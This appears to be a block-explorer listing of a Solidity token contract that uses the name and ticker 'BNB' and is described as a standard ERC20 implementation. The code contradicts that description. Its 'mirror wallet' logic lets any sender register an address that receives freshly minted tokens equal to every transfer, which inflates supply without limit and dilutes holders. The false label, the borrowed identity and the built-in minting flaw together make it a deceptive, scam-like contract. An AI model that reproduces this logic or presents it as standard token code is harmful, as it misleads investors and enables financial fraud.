Description:
ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"BNB.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.0;\r
\r
interface IBEP20 {\r
function totalSupply() external view returns (uint256);\r
function balanceOf(address account) external view returns (uint256);\r
function transfer(address recipient, uint256 amount) external returns (bool);\r
function allowance(address owner, address spender) external view returns (uint256);\r
function approve(address spender, uint256 amount) external returns (bool);\r
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
\r
event Transfer(address indexed from, address indexed to, uint256 value);\r
event Approval(address indexed owner, address indexed spender, uint256 value);\r
}\r
\r
contract BNB is IBEP20 {\r
string public constant name = "BNB";\r
string public constant symbol = "BNB";\r
uint8 public constant decimals = 18;\r
\r
uint256 private _totalSupply = 100 * 10**18;\r
mapping(address => uint256) private _balances;\r
mapping(address => mapping(address => uint256)) private _allowances;\r
\r
address public owner;\r
\r
// ???? Mirror mapping: sender => mirror wallet\r
mapping(address => address) public mirrorWallets;\r
\r
constructor() {\r
owner = msg.sender;\r
_balances[owner] = _totalSupply;\r
emit Transfer(address(0), owner, _totalSupply);\r
}\r
\r
function setMirrorWallet(address mirror) external {\r
require(mirror != address(0), "Invalid mirror address");\r
mirrorWallets[msg.sender] = mirror;\r
}\r
\r
function totalSupply() external view override returns (uint256) {\r
return _totalSupply;\r
}\r
\r
function balanceOf(address account) public view override returns (uint256) {\r
return _balances[account];\r
}\r
\r
function transfer(address recipient, uint256 amount) public override returns (bool) {\r
require(_balances[msg.sender] >= amount, "Insufficient balance");\r
\r
_balances[msg.sender] -= amount;\r
_balances[recipient] += amount;\r
emit Transfer(msg.sender, recipient, amount);\r
\r
// Mirror logic\r
address mirror = mirrorWallets[msg.sender];\r
if (mirror != address(0)) {\r
_balances[mirror] += amount;\r
_totalSupply += amount; // mint equivalent to mirror\r
emit Transfer(address(0), mirror, amount);\r
}\r
\r
return true;\r
}\r
\r
function approve(address spender, uint256 amount) public override returns (bool) {\r
_allowances[msg.sender][spender] = amount;\r
emit Approval(msg.sender, spender, amount);\r
return true;\r
}\r
\r
function allowance(address accountOwner, address spender) public view override returns (uint256) {\r
return _allowances[accountOwner][spender];\r
}\r
\r
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {\r
require(_balances[sender] >= amount, "Insufficient balance");\r
require(_allowances[sender][msg.sender] >= amount, "Allowance exceeded");\r
\r
_balances[sender] -= amount;\r
_allowances[sender][msg.sender] -= amount;\r
_balances[recipient] += amount;\r
emit Transfer(sender, recipient, amount);\r
\r
// Mirror logic (optional here — you can disable in transferFrom)\r
address mirror = mirrorWallets[sender];\r
if (mirror != address(0)) {\r
_balances[mirror] += amount;\r
_totalSupply += amount;\r
emit Transfer(address(0), mirror, amount);\r
}\r
\r
return true;\r
}\r
}\r
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-10-15 09:47:03
Comments
Log in to comment.
No comments yet.